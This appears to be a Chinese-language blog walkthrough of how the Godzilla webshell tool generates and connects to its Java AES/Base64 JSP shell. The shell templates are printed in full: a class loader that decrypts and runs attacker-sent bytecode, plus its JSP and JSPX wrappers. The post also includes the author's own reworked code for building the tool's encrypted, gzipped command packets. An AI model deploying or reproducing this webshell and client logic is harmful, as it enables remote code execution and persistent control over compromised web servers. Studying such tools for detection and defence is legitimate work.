前言
随手的简单记录,不算完整教程,主要作为大致了解哥斯拉的一个流程。
生成WebShell
对应功能点:


用JAVA_AES_BASE64为例子。
断点打在shells.cryptions.JavaAes.Generate#GenerateShellLoder,首先是加载WebShell的模版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) {     byte[] data = null;     try {                  InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCode.bin");         String globalCode = new String(functions.readInputStream(inputStream));         inputStream.close();                           globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
                   inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Code.bin");         String code = new String(functions.readInputStream(inputStream));         inputStream.close();
  | 
 
加载了两个模块 我们可以看看模版是长啥样的,根据我们的编码是base64,因此加载的模版是和base64GlobalCode.bin和base64Code.bin。
base64GlobalCode.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
   | String xc = "{secretKey}"; String pass = "{pass}"; String md5 = md5(pass + xc);
  class X extends ClassLoader {     public X(ClassLoader z) {         super(z);     }          public Class Q(byte[] cb) {         return super.defineClass(cb, 0, cb.length);     } }
  public byte[] x(byte[] s, boolean m) {     try {         javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");         c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));         return c.doFinal(s);     } catch (Exception e) {         return null;     } }
  public static String md5(String s) {     String ret = null;     try {         java.security.MessageDigest m;         m = java.security.MessageDigest.getInstance("MD5");         m.update(s.getBytes(), 0, s.length());         ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();     } catch (Exception e) {     }     return ret; }
  public static String base64Encode(byte[] bs) throws Exception {     Class base64;     String value = null;     try {         base64 = Class.forName("java.util.Base64");         Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);         value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });     } catch (Exception e) {         try {             base64 = Class.forName("sun.misc.BASE64Encoder");             Object Encoder = base64.newInstance();             value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });         } catch (Exception e2) {         }     }     return value; }
  public static byte[] base64Decode(String bs) throws Exception {     Class base64;     byte[] value = null;     try {         base64 = Class.forName("java.util.Base64");         Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);         value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });     } catch (Exception e) {         try {             base64 = Class.forName("sun.misc.BASE64Decoder");             Object decoder = base64.newInstance();             value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });         } catch (Exception e2) {         }     }     return value; }
  | 
 
base64Code.bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | try {     byte[] data = base64Decode(request.getParameter(pass));     data = x(data, false);     if (session.getAttribute("payload") == null) {         session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));     } else {         request.setAttribute("parameters", data);         java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();         Object f = ((Class) session.getAttribute("payload")).newInstance();         f.equals(arrOut);         f.equals(pageContext);         response.getWriter().write(md5.substring(0, 16));         f.toString();         response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));         response.getWriter().write(md5.substring(16));     } } catch (Exception e) {}
  | 
 
后续根据后缀选取用jsp模版还是jspx模版,如下:
1 2 3 4 5
   | jsp: <%!{globalCode}%><%{code}%>
  jspx: <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>{globalCode}</jsp:declaration><jsp:scriptlet>{code}</jsp:scriptlet></jsp:root>
   | 
 
然后就是将shell模版中的globalCode和code替换为刚刚加载的java代码。
连接WebShell
可以断在core.ui.component.frame.ShellSetting#testButtonClick上。

updateTempShellEntity方法会先做一些初始化操作。

接着进入initShellOpertion方法,首先获取HTTP通信对象,然后获取payload模块和cryption模块。

payload模块是根据我们选取的payload的类型,去shells.payloads下找对应的Shell对象,比如JavaDynamicPayload对应的就是shells.payloads.java.JavaShell,从函数可以看到是个大马。

cryption模块同理,根据有效荷载和加密器两个属性确定要实例化的类,这里是shells.cryptions.JavaAes.JavaAesBase64。

然后初始化。

其中payload来自shells/payloads/java/assets/payload.classs。

这时会发送payload到服务器的马中让其加载。

发送的数据大概是下面的逻辑:
大马字节码->AES加密->Base64编码 
因此服务端收到的数据:
payload数据->Base64解码->AES解密->加载字节码
如果这个过程没问题说明秘钥也没问题。相当于加密模块的初始化过程中,会想服务器发送加密大马,如果加载成功,加密模块的检查自然也没问题。因此this.cryptionModel.check()自然为true。
接下来this.payloadModel.test()会发送如下数据包

先base64解码,然后解密,解密后gz解压缩,得到数据。


上面的数据还是有一定的设计,我在写新项目时抽离了一下构造逻辑,下面供参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
   | @Override   public byte[] evalFunc(String className, String funcName, HashMap parameter) {          if (className != null && className.trim().length() > 0) {                                parameter.put("evalClassName", className);       }       parameter.put("methodName", funcName.getBytes());       int size = calculateHashMapSize(parameter);       ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(size);          try {           Iterator<String> keys = parameter.keySet().iterator();           while (keys.hasNext()) {               String key = keys.next();               byte[] value = (byte[]) parameter.get(key);                               byteArrayOutputStream.write(key.getBytes(StandardCharsets.UTF_8));                            byteArrayOutputStream.write(0x02);                            byteArrayOutputStream.write(SerializationUtil.intToBytes(value != null ? value.length : 0));                            if (value != null) {                   byteArrayOutputStream.write(value);               }           }       } catch (IOException e) {           e.printStackTrace();           return new byte[0];       }       byte[] byteArray = byteArrayOutputStream.toByteArray();          byteArray = GzipUtil.gzipE(byteArray);          try {           return byteArray;       } catch (Exception e) {                    return new byte[0];       }   }
  public static int calculateHashMapSize(HashMap<String, byte[]> map) {       AtomicInteger total = new AtomicInteger();       map.forEach((key, value) -> {                    int keyLength = key.getBytes(StandardCharsets.UTF_8).length;                    int valueLength = value != null ? value.length : 0;                    total.addAndGet(keyLength + 1 + 4 + valueLength);       });       return total.get();   }      public static byte[] intToBytes(int value) {       byte[] src = new byte[4];       src[0] = (byte) (value & 0xFF);       src[1] = (byte) (value >> 8 & 0xFF);       src[2] = (byte) (value >> 16 & 0xFF);       src[3] = (byte) (value >> 24 & 0xFF);       return src;   }
 
   | 
 
最后附上一张所做的流程图。
